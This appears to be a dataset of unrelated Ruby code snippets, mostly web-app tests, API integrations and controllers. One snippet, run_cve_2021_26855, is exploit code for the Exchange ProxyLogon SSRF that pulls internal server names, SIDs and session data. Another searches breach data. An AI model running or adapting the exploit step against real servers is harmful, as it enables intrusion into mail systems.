"def Create_Service_Request(vehicle_no, complaint, note, contact_no, driver_name, driver_no, breakdown_location, breakdown_city, breakdown_state, testcase_no)\n service_location = @driver.find_element(:xpath, ServiceRequestFirstServiceLocationName_ID).text\n @driver.find_element(:link, ServiceRequest_Link).click\n @driver.find_element(:name, ServiceRequestComplaint_EB).clear\n @driver.find_element(:name, ServiceRequestComplaint_EB).send_keys \"#{complaint}\"\n @driver.find_element(:name, ServiceRequestNotes_EB).clear\n @driver.find_element(:name, ServiceRequestNotes_EB).send_keys \"#{note}\"\n @driver.find_element(:id, ServiceRequestPrimaryContactPhone_EB).clear\n @driver.find_element(:id, ServiceRequestPrimaryContactPhone_EB).send_keys \"#{contact_no}\"\n @driver.find_element(:id, ServiceRequestDriverName_EB).clear\n @driver.find_element(:id, ServiceRequestDriverName_EB).send_keys \"#{driver_name}\"\n @driver.find_element(:id, ServiceRequestDriverPhone_EB).clear\n @driver.find_element(:id, ServiceRequestDriverPhone_EB).send_keys \"#{driver_no}\"\n @driver.find_element(:id, ServiceRequestBreakdownLocation_EB).clear\n @driver.find_element(:id, ServiceRequestBreakdownLocation_EB).send_keys \"#{breakdown_location}\"\n @driver.find_element(:id, ServiceRequestBreakdownCity_EB).clear\n @driver.find_element(:id, ServiceRequestBreakdownCity_EB).send_keys \"#{breakdown_city}\"\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, ServiceRequestBreakdownState_DD)).select_by(:index, \"1\")\n user =@driver.find_element(:xpath, ServiceRequestForUser_DD).text\n if(\"#{user}\"=~/[-](.*)/)\n string=\"#{user}\"\n user=string.split(\" -\")[0]\n end\n @driver.find_element(:xpath, ServiceRequestSubmit_Btn).click\n Wait_For_Element(:css, Flash_Notice)\n #sleep 8\n if(\"Sent request for estimate to #{user} at #{service_location}.\"==(@driver.find_element(:css, Flash_Notice).text))\n Results(\"#{testcase_no}\", \"Flash notice was displayed when fleet Service request was submitted\", \"PASS\", \"\")\n else\n Results(\"#{testcase_no}\", \"Flash notice was not displayed when fleet Service request was submitted\", \"FAIL\", $error_screenshots)\t \n end\n #Verify service request created\n @driver.find_element(:id, DealerHomePageSwitch_Link).click\n @driver.find_element(:css, DealerSelectSwitch_Link).click\n @driver.find_element(:xpath, UnitNoColumn_ID).click\n Wait_For_Element(:xpath, CreatedColumn_ID)\n sleep 6\n @driver.find_element(:xpath, CreatedColumn_ID).click\n Wait_For_Element(:css, ReqServiceFirstRowUnitNo_ID)\n sleep 8\n if(((@driver.find_element(:css, ReqServiceFirstRowUnitNo_ID).text=~/[#{vehicle_no}](.*)/)||(@driver.find_element(:xpath, ReqServiceFirstRowSerialNo_ID).text=~/[#{vehicle_no}](.*)/))&&(\"#{service_location}\"== @driver.find_element(:xpath, ReqServiceFirstRowServiceLocation_ID).text)&&(\"#{user}\"== @driver.find_element(:xpath, ReqServiceFirstRowAssignedUser_ID).text ))\n Results(\"#{testcase_no}-1\", \"Fleet Service request was created successfully\", \"PASS\", \"\")\n else\n Results(\"#{testcase_no}-1\", \"Fleet service request was not created\", \"FAIL\", $error_screenshots)\t \n end\t \nend",
"def create_service_request\n # Geocode the address\n lat, long = Geocoder.coordinates(\"#{self.restaurant_address} , Chicago, IL\") \n\n HTTParty.post('http://311api.cityofchicago.org/open311/v2/requests.json', :body => { \n :api_key => SETTINGS[\"OPEN_311_KEY\"],\n :service_code => '4fd6e4ece750840569000019',\n :attribute => {\n :PLEASESE => 'FOODPOIS',\n :WHATISTH => self.restaurant_name,\n :ONWHATDA => self.date\n },\n :address_string => self.restaurant_address,\n :description => self.description,\n :lat => lat, \n :long => long, \n :first_name => self.first_name,\n :last_name => self.last_name,\n :email => self.email,\n :phone => self.phone\n })\n end",
"def happyTest(request)\n visit root_path\n submitServiceRequestPage (request)\n selectStudyPage(request)\n selectDatesAndArmsPage(request)\n serviceCalendarPage(request)\n documentsPage\n reviewPage(request)\n submissionConfirmationPage\n goToSparcProper\n\n if request.otfServices.length!=0 then \n adminPortal(request.study, request.otfServices[0]) \n end\n\n if request.ppServices.length!=0 then \n adminPortal(request.study, request.ppServices[0]) \n clinicalWorkFulfillment(request.study, request.ppServices[0])\n end\n\n userPortal(request)\n end",
"def perform\n begin\n binding = RForce::Binding.new KEYS['salesforce']['base']\n binding.login KEYS['salesforce']['username'], KEYS['salesforce']['password'] + KEYS['salesforce']['token']\n\n sl = SellerListing.find(seller_listing_id)\n\n # User, address and phone info must be here to create a seller listing\n # http://www.salesforce.com/us/developer/docs/api/index.htm [search for Lead]\n lead = [\n :type, LEAD,\n :Lead_Source__c, LEAD_SOURCE,\n :Country, LEAD_COUNTRY,\n :FirstName, sl.user.first_name,\n :First_Name2__c, sl.user.first_name,\n :LastName, sl.user.last_name,\n :Last_Name2__c, sl.user.last_name,\n :Email, sl.user.email,\n :Phone, sl.phone_number.number,\n :Property_Address__c, [sl.address.address1, sl.address.address2].join(' '),\n :Property_City__c, sl.address.city,\n :Property_State__c, sl.address.state,\n :Property_Zip__c, sl.address.zip.to_s\n ]\n\n # Check and see if we have second-step data yet (which is, of course, the entire reason for delaying this\n # job [to give the user enough time to finish step 2])\n lead.push(:EstimatedValue__c, sl.estimated_value(true).to_s) if sl.estimated_value.present?\n lead.push(:AskingPrice__c, sl.asking_price(true).to_s) if sl.asking_price.present?\n lead.push(:LoanAmount__c, sl.loan_amount(true).to_s) if sl.loan_amount.present?\n lead.push(:DesiredSellTime__c, sl.time_frame.to_s) if sl.time_frame.present?\n lead.push(:SellingReason__c, sl.selling_reason) if sl.selling_reason.present?\n\n # Who owns this zip?\n owner_resp = SalesforceJob.account_owner_for_zip(binding, sl)\n\n if owner_resp.ok?\n account_id = owner_resp.salesforce_account_id\n lead.push(:Owned_by_Account__c, account_id)\n end\n\n # Create Lead!\n lead = binding.create :sObject => lead\n create_resp = SalesforceJob.munge_create_salesforce_lead_results(lead, sl)\n\n if create_resp.ok?\n sl.salesforce_lead_id = create_resp.salesforce_lead_id\n sl.salesforce_lead_owner_id = account_id\n sl.save!\n\n # Now that we sucessfully tied this seller listing to a buyer account in salesforce, send out our new\n # seller listing confirmation email according to the specs outlined here:\n # https://ehouseoffers.fogbugz.com/default.asp?28 -- seller_offer_request_confirmation.rtf\n # Because we already waited to process this (see seller_listings_controller.create), we send this email\n # out without delay despite what the ticket says. We just use delayed job to make it it's own process\n DelayedJobs::Salesforce.new_seller_confirmation(sl)\n DelayedJobs::Salesforce.new_seller_affiliate_services(sl, true)\n DelayedJobs::Salesforce.buyer_lead_notification(sl, owner_resp.buyer_emails)\n else\n Rails.logger.fatal(\"Salesforce create lead bombed! create_resp = #{create_resp.inspect}\")\n end\n\n rescue => e\n Rails.logger.fatal(\"SalesforceJob.perform bombed with the following exception: \"+ e)\n raise e\n end\n end",
"def service_request(service); end",
"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n api_username = URI.encode(@info_values[\"api_username\"])\n api_password = @info_values[\"api_password\"]\n api_server = @info_values[\"api_server\"]\n kapp_slug = @parameters[\"kapp_slug\"]\n form_slug = @parameters[\"form_slug\"]\n query = @parameters[\"query\"]\n error_handling = @parameters[\"error_handling\"]\n\n api_route = \"#{server}/app/api/v1/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\" +\n \"?include=details,origin,parent,form,type&limit=1&q=#{URI.escape(query)}\"\n\n puts \"API ROUTE: #{api_route}\" if @enable_debug_logging\n\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\n\n response = resource.get\n\n # if the user record did not exist\n if response.nil?\n <<-RESULTS\n <results>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n\n allresults = JSON.parse(response)[\"submissions\"]\n puts \"Full RESULTS: #{allresults.inspect}\" if @enable_debug_logging\n results = allresults[0]\n\n puts \"RESULTS: #{results.inspect}\" if @enable_debug_logging\n\n if results.nil?\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\">#{escape(results[\"id\"])}</result>\n <result name=\"Label\">#{escape(results[\"label\"])}</result>\n <result name=\"Origin\">#{escape(results[\"origin\"])}</result>\n <result name=\"Parent\">#{escape(results[\"parent\"])}</result>\n <result name=\"Submitted At\">#{escape(results[\"submittedAt\"])}</result>\n <result name=\"Type\">#{escape(results[\"type\"])}</result>\n <result name=\"Updated At\">#{escape(results[\"updatedAt\"])}</result>\n <result name=\"Updated By\">#{escape(results[\"updatedBy\"])}</result>\n <result name=\"Closed At\">#{escape(results[\"closedAt\"])}</result>\n <result name=\"Core State\">#{escape(results[\"coreState\"])}</result>\n <result name=\"Created At\">#{escape(results[\"createdAt\"])}</result>\n <result name=\"Created By\">#{escape(results[\"createdBy\"])}</result>\n <result name=\"Form Description\">#{escape(results[\"form\"][\"description\"])}</result>\n <result name=\"Form Name\">#{escape(results[\"form\"][\"name\"])}</result>\n <result name=\"Form Notes\">#{escape(results[\"form\"][\"notes\"])}</result>\n <result name=\"Form Slug\">#{escape(results[\"form\"][\"slug\"])}</result>\n <result name=\"Form Status\">#{escape(results[\"form\"][\"status\"])}</result>\n </results>\n RESULTS\n end\n end\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end",
"def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end",
"def index\n @listings\n @maps = MapsService.new\n hasErrorOccured = false\n if search_params.has_key?(\"type\") and (search_params[\"type\"] == \"request\" or search_params[\"type\"] == \"offer\")\n puts search_params\n #@listings = Listing.where(listing_type: Listing.listing_types[params[\"type\"]])\n depart_time_range_begin = search_params[\"depart_time_range_begin\"]\n depart_time_range_end = search_params[\"depart_time_range_end\"]\n return_time_range_begin = search_params[\"return_time_range_begin\"]\n return_time_range_end = search_params[\"return_time_range_end\"]\n\n detour_time= search_params[\"detour_time\"]\n listing_type = search_params[\"type\"]\n destination_location = search_params[\"destination_location\"]\n depart_location = search_params[\"depart_location\"]\n\n if !depart_time_range_begin.nil?\n begin\n depart_time_range_begin = DateTime.parse(depart_time_range_begin)\n rescue ArgumentError\n hasErrorOccured = true\n depart_time_range_begin = nil\n end\n end\n\n if !depart_time_range_end.nil?\n begin\n depart_time_range_end = DateTime.parse(depart_time_range_end)\n rescue ArgumentError\n hasErrorOccured = true\n depart_time_range_end = nil\n end\n end\n if !return_time_range_begin.nil?\n begin\n return_time_range_begin = DateTime.parse(returntime_range_begin)\n rescue ArgumentError\n hasErrorOccured = true\n return_time_range_begin = nil\n end\n end\n if !return_time_range_end.nil?\n begin\n return_time_range_end = DateTime.parse(return_time_range_end)\n rescue ArgumentError\n hasErrorOccured = true\n return_time_range_end= nil\n end\n end\n\n\n if !detour_time.nil?\n begin \n detour_time = detour_time.to_i\n rescue ArgumentError\n detour_time = nil\n end\n end \n\n if detour_time.nil? and listing_type == \"request\"\n hasErrorOccured = true\n end\n if !destination_location.nil? and destination_location.empty?\n destination_location = nil\n hasErrorOccured = true\n end\n\n if !depart_location.nil? and depart_location.empty?\n depart_location = nil\n hasErrorOccured = true\n end\n\n\n if hasErrorOccured\n respond_to do |format|\n format.html { redirect_to listings_search_url, notice: 'There was a problem with your search parameters.' and return } \n end\n end\n\n # puts @maps.get_driving_time([departure_location, destination_location])\n # puts @maps.get_driving_time([\"ChIJ5fKhn34KOogRZuYN4JEy-to\", \"ChIJF-40a4agMIgR80oyLiokn5A\",\"ChIJJ_XOD3kKOogRJiAlB2KXI_A\" ,\"ChIJGytdNBsKOogR9lS0PwCA2Fg\"], Time.now.to_i)\n # @listings = Listing.where(\"listing_type = ? AND ((depart_range_start >= ? AND depart_range_start <= ?) OR (depart_range_end >= ? AND depart_range_end <= ?))\", Listing.listing_types[listing_type], depart_time_range_begin, depart_time_range_end, depart_time_range_begin, depart_time_range_end)\n\n @pre_listings = Listing.where(listing_type: Listing.listing_types[listing_type]).where(disabled: false)\n puts @pre_listings.inspect\n @listings = []\n for listing in @pre_listings\n if listing.listing_type == \"offer\"\n detour_time = listing.detour_time\n end \n\n departure_time = listing.depart_range_start\n if departure_time < DateTime.now\n departure_time = DateTime.now\n end\n\n direct_travel_time_object = nil \n detoured_travel_time_object = nil\n if listing_type == \"offer\"\n direct_travel_time_object = @maps.get_driving_time([listing.depart_maps_id, listing.dest_maps_id], departure_time.to_i)\n detoured_travel_time_object = @maps.get_driving_time([listing.depart_maps_id, depart_location, destination_location, listing.dest_maps_id], departure_time.to_i)\n elsif listing_type == \"request\"\n if direct_travel_time_object.nil?\n direct_travel_time_object = @maps.get_driving_time([depart_location, destination_location], departure_time.to_i)\n end\n detoured_travel_time_object = @maps.get_driving_time([depart_location, listing.depart_maps_id, listing.dest_maps_id, destination_location], departure_time.to_i)\n end\n\n puts \"direct travel time: \" + direct_travel_time_object[0].to_s\n puts \"detoured travel time: \" + detoured_travel_time_object[0].to_s\n\n puts detoured_travel_time_object[1]\n if ((detoured_travel_time_object[0] - direct_travel_time_object[0])/60) > detour_time\n\t next\n end\n\n first_leg_time = detoured_travel_time_object[1][0] \n\n\n if listing_type == \"offer\"\n if ((listing.depart_range_start+first_leg_time >= depart_time_range_begin and\n listing.depart_range_start+first_leg_time <= depart_time_range_end) or\n (listing.depart_range_end+first_leg_time >= depart_time_range_begin and\n listing.depart_range_end+first_leg_time <= depart_time_range_end))\n @listings << listing\n #listing.comments = listing.comments + \" OUT OF TIME RANGE. first leg takes (mins): \" + (first_leg_time/60).to_s\n puts listing.depart_range_start\n puts depart_time_range_begin\n puts listing.depart_range_start+first_leg_time\n end\n elsif listing_type == \"request\"\n if ((depart_time_range_begin+first_leg_time.seconds <= listing.depart_range_start and depart_time_range_end+first_leg_time.seconds >= listing.depart_range_start) or (depart_time_range_begin+first_leg_time.seconds <= listing.depart_range_end and depart_time_range_end+first_leg_time.seconds >= listing.depart_range_end))\n #listing.comments = listing.comments + \" OUT OF TIME RANGE. first leg takes (mins): \" + (first_leg_time/60).to_s\n @listings << listing\n end\n end\n end\n else\n @listings = Listing.where(disabled: false)\n end\n for listing in @listings\n listing.depart_maps_id = @maps.get_address(listing.depart_maps_id)\n listing.dest_maps_id = @maps.get_address(listing.dest_maps_id)\n end\n end",
"def create\n response = invoke_webservice method: 'post',\n action: 'userLogin', data: { userName: params[:username].upcase.strip,\n password: params[:password] }\n if response\n if response[\"errCode\"] == \"0\"\n if response[\"userType\"] == \"C\" || response[\"userType\"] == \"E\" || response[\"userType\"] == \"V\" || response[\"userType\"] == \"P\"\n session[:full_name] = response[\"fullName\"]\n session[:user_level] = response[\"userLevel\"]\n session[:buyer_email] = response[\"buyerEmail\"]\n session[:order_flag] = response[\"orderFlag\"]\n session[:user_name] = response[\"userName\"]\n session[:acct_switch] = response[\"acctSwitch\"]\n session[:user_type] = response[\"userType\"]\n session[:password_lock] = response[\"passwordLock\"]\n session[:vendor_number] = response[\"vendNo\"]\n session[:partner_number] = response[\"partnerNo\"]\n session[:multorder] = response[\"multOrder\"]\n session[:autoApprove] = response[\"autoApprove\"]\n #Ecom Menu\n session[:menu_description] = response[\"menuDesc\"]\n\n #CUSTOMER\n\n session[:customer_number] = response[\"custNo\"]\n session[:customer_Name] = response[\"custName\"]\n session[:contact] = response[\"contact\"]\n session[:phone_number] = response[\"phoneNo\"]\n\n\n #SLSMAN\n session[:slsm_email] = response[\"slsmEmail\"]\n session[:slsm_name] = response[\"slsmName\"]\n session[:slsm_phone] = response[\"slsmPhone\"]\n session[:slsm_fax] = response[\"slsmFax\"]\n session[:language] = response[\"custDefaultLang\"].present? ? response[\"custDefaultLang\"].downcase : \"en\"\n #F.ACC.TYPE FILE VARS\n session[:customer_type] = response[\"custType\"]\n if session[:acct_switch].length > 1 && session[:acct_switch].first!= \"\" && session[:acct_switch].first!= \" \"\n @account_switcher_array = []\n session[:acct_switch].each do |value|\n @response_ship_to = invoke_webservice method: 'get', class: 'custInv/',\n action: 'shipTo',\n query_string: { custNo: value }\n if @response_ship_to\n if @response_ship_to[\"errMsg\"] != \"\"\n customer_name = \"#{value} #{session[:customer_Name]}\"\n @account_switcher_array = @account_switcher_array.push(customer_name)\n else\n customer_name = \"#{value} #{@response_ship_to[\"custInfo\"].split(\"<BR>\").second}\"\n @account_switcher_array = @account_switcher_array.push(customer_name)\n end\n end\n end\n session[:account_switcher_array] = @account_switcher_array\n end\n # Populate New Customer into DB\n @customer_record = Kitting::Customer.find_by_user_name_and_user_level(response[\"userName\"],response[\"userLevel\"]) || Kitting::Customer.create( :cust_no => response[\"custNo\"], :cust_name => response[\"custName\"], :user_name => response[\"userName\"], :user_level =>response[\"userLevel\"], :user_type => response[\"userType\"], :accounts => response[\"acctSwitch\"].join(\",\"), :vendor_no => response[\"vendNo\"], :partner_no => response[\"partnerNo\"] )\n Kitting::CustomerConfigurations.find_or_create_by_cust_no(cust_no: response[\"custNo\"],cust_name: response[\"custName\"],updated_by: @customer_record.id )\n if response[\"vendNo\"].present?\n @customer_record.update_attribute(\"vendor_no\",response[\"vendNo\"])\n end\n if response[\"partnerNo\"].present?\n @customer_record.update_attribute(\"partner_no\",response[\"partnerNo\"] )\n end\n @customer_record.update_attribute(\"accounts\",response[\"acctSwitch\"].join(\",\"))\n end\n @redirect_to_first_url = assign_urls session[:menu_description]\n if @redirect_to_first_url == \"javascript:void(0);\"\n @sub_menu_url = assign_sub_menus session[:menu_description][0], session[:user_level]\n @redirect_to_first_url = @sub_menu_url[\"sub_menu\"][0] if @sub_menu_url[\"sub_menu\"].present?\n end\n redirect_to @redirect_to_first_url\n else\n if response[\"errCode\"] == \"4\"\n if response[\"passwordLock\"] == \"N\"\n flash.now[:alert] = I18n.t('expire_login', scope: 'user_session.create', expire_days: response['errMsg'].scan(/\\d+/).first, default: response['errMsg'])\n render(:login,:locals=> {:errCode => \"4\", :pass_lock => \"N\"} )\n else\n flash.now[:alert] = I18n.t('expire_login', scope: 'user_session.create', expire_days: response['errMsg'].scan(/\\d+/).first, default: response['errMsg'])\n render(:login,:locals=> {:errCode => \"4\", :pass_lock => response[\"passwordLock\"]} )\n end\n else\n flash[:alert] = response[\"errMsg\"]\n render :login\n end\n\n\n end\n else\n flash[:alert] = \"Service temporarily unavailable\"\n render :login\n end\n end",
"def invoke\n\t\tbegin\n\t\t @service = Object.const_get(@amfbody.service_name).new #handle on service\n\t\t RequestStore.available_services[@amfbody.service_name] = @service\n\t\trescue LoadError => e\n\t\t\traise RUBYAMFException.new(RUBYAMFException.LOAD_CLASS_FILE, \"The file #{@amfbody.class_file_uri}#{@amfbody.class_file} was not loaded. Check to make sure it exists in: #{RequestStore.service_path}\")\n\t\trescue Exception => e\n\t\t raise RUBYAMFException.new(RUBYAMFException.LOAD_CLASS_FILE, \"There was an error loading file #{@amfbody.class_file_uri}#{@amfbody.class_file}. #{e.message}\")\n\t\tend\n \n #authentication, simple\n\t if RequestStore.auth_header != nil\n\t if @service.public_methods.include?('_authenticate')\n\t begin\n \t res = @service.send('_authenticate', *[RequestStore.auth_header.value.userid, RequestStore.auth_header.value.password])\n if res == false #catch false\n \t\t raise RUBYAMFException.new(RUBYAMFException.AUTHENTICATION_ERROR, \"Authentication Failed\");\n elsif res.class.to_s == 'FaultObject' #catch returned FaultObjects\n \t\t raise RUBYAMFException.new(res.code, res.message)\n \t\tend\n \trescue Exception => e #catch raised FaultObjects\n \t if e.message == \"exception class/object expected\"\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n \tend\n \tend\n\t end\n \n #before_filter\n if @service.public_methods.include?('before_filter')\n\t begin\n\t res = @service.send('before_filter')\n \t if res == false #catch false\n \t raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"before_filter haulted by returning false.\")\n \t elsif res.class.to_s == 'FaultObject' #catch returned FaultObjects\n \t raise RUBYAMFException.new(res.code, res.message)\n \t end\n \trescue Exception => e #catch raised FaultObjects\n \t if e.message == \"exception class/object expected\"\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n \tend\n\t end\n\t \n\t\tif @service.private_methods.include?(@amfbody.service_method_name)\n\t\t\traise RUBYAMFException.new(RUBYAMFException.METHOD_ACCESS_ERROR, \"The method {#{@amfbody.service_method_name}} in class {#{@amfbody.class_file_uri}#{@amfbody.class_file}} is declared as private, it must be defined as public to access it.\")\n\t\telsif !@service.public_methods.include?(@amfbody.service_method_name)\n\t\t\traise RUBYAMFException.new(RUBYAMFException.METHOD_UNDEFINED_METHOD_ERROR, \"The method {#{@amfbody.service_method_name}} in class {#{@amfbody.class_file_uri}#{@amfbody.class_file}} is not declared.\")\n\t\tend\n\t\t\n\t\tbegin\n\t\t\tif @amfbody.value.empty?\n\t\t\t\t@service_result = @service.send(@amfbody.service_method_name)\n\t\t\telse\n\t\t\t\targs = @amfbody.value\n\t\t\t\t@service_result = @service.send(@amfbody.service_method_name, *args) #* splat the argument values to pass correctly to the service method\n\t\t\tend\n\t\trescue Exception => e #catch any method call errors, transform into RUBYAMFException so that they propogate back to flash correctly\n\t\t\tif e.message == \"exception class/object expected\"\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n\t\t\t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR, e.to_s)\n\t\t\tend\n\t\tend\n\t\t\n\t\t#catch returned custom FaultObjects\n\t\tif @service_result.class.to_s == 'FaultObject'\n\t\t raise RUBYAMFException.new(@service_result.code, @service_result.message)\n\t\tend\n\t\t\t \n\t\t@amfbody.results = @service_result #set the result in this body object\n\t\t\n\t\t#amf3\n if @amfbody.special_handling == 'RemotingMessage'\n @wrapper = generate_acknowledge_object(@amfbody.get_meta('messageId'), @amfbody.get_meta('clientId'))\n @wrapper.body = @service_result\n @amfbody.results = @wrapper\n\t\tend\n\t\t\n\t @amfbody.success! #set the success response uri flag (/onResult)\t\t\n\tend",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n username =_get_task_config(\"dehashed_username\")\n api_key =_get_task_config(\"dehashed_api_key\")\n\n headers = {\"Accept\" => \"application/json\" ,\n \"Authorization\" => \"Basic #{Base64.encode64(\"#{username}:#{api_key}\").strip}\"\n }\n\n #require \"pry\"\n #binding.pry\n\n unless api_key or username\n _log_error \"unable to proceed, no API key for Dehashed provided\"\n return\n end\n\n #url = \"https://dehashed.com/search?query=#{entity_name}\"\n\n #search for EmailAddress if it a partof in a data breach\n if entity_type == \"EmailAddress\"\n search_by_emailaddress entity_name,headers\n\n #search by IP Address for related leaks\n elsif entity_type == \"IpAddress\"\n #search for leaks to a related ip and create issues and entites like EmailAddress,person,phone_number,physicial_location\n search_by_ip entity_name,headers\n\n #search by username,password,hashed password names for related leaks\n elsif entity_type == \"String\"\n search_by_string entity_name,headers\n\n elsif entity_type == \"Domain\"\n search_by_string entity_name,headers\n\n #log error if you entre an Unsupported entity type\n else\n _log_error \"Unsupported entity type\"\n end\n\n end",
"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n username = URI.encode(@info_values[\"api_username\"])\n password = @info_values[\"api_password\"]\n error_handling = @parameters[\"error_handling\"]\n\n route_base = \"#{server}/app/api/v1/teams\"\n\n puts \"API ROUTE: #{route_base}\" if @debug_logging_enabled\n\n resource = RestClient::Resource.new(route_base, { :user => username, :password => password })\n\n # Building the object that will be sent to Kinetic Core\n dataHash = {}\n\tdataHash[\"name\"] = @parameters[\"team_name\"]\n\tif !@parameters[\"members\"].empty?\n\t\tmembers = JSON.parse(@parameters[\"members\"])\n\t\tmembership = []\n\t\tmembers.each do |member|\n\t\t username = {}\n\t\t username[\"username\"] = member\n\t\t user = {}\n\t\t user[\"user\"] = username\n\t\t membership.push(user)\n\t\tend\n\t\tdataHash[\"memberships\"] = membership\n\tend\n\n\tputs \"DATA: #{dataHash.to_json}\" if @debug_logging_enabled\n\tbegin\n\t#create\n response = resource.post(dataHash.to_json, { accept: :json, content_type: :json })\n\n\n # Build the results to be returned by this handler\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n </results>\n RESULTS\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end\n end",
"def add_request\n\t\t@service = Service.find(params[:id])\n\n\t\t# Validation booleans to make sure user can be considered for this service\n\t\t# A user cannot place a request on a service that they created\n\t\tservice_is_current_user = @service.user_id == current_user.id;\n\t\t# A user cannot place a request on a service that is created by another user of the same group\n\t\tservice_same_user = @service.user.group == current_user.group;\n\t\t#TODO: Add a validation check for Service::LISTED\n\n\t\tif service_is_current_user || service_same_user\n\t\t\t#TODO: Return error if somehow user is trying to request their own service\n\t\t\tputs \"ERROR! Unexpected Service Behaviour!\"\n\t\t\tredirect_to (services_path)\n else\n @service.user.notifications.create title: \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n reference_user_id: current_user.id,\n reference_service_id: @service.id,\n user_id: @service.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t notification_type: \"AddRequest\",\n read: FALSE\n\n\t\t\tconversation = Conversation.between(current_user.id, @service.user_id).first\n\t\t\tif conversation.blank?\n\t\t\t\tConversation.create sender_id: current_user.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t recipient_id: @service.user_id\n\t\t\tend\n\t\t\tconversation_id = Conversation.between(current_user.id, @service.user_id).first.id\n\n\t\t\tMessage.create body: \"This is an auto generated message. Refer to your notifications for more information! #{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n\t\t\t\t\t\t\t\t\t\t read: FALSE,\n\t\t\t\t\t\t\t\t\t\t conversation_id: conversation_id,\n\t\t\t\t\t\t\t\t\t\t user_id: current_user.id\n #@service.user.notifications.create_notification(@service.user,\n # \"#{current_user.first_name} #{current_user.last_name} has requested you for #{@service.title}!\",\n #current_user, @service)\n\t\t\t@service.service_users.create service_id: @service.id, user_id: current_user.id\n\t\t\tredirect_to (services_path)\n\t\tend\n\tend",
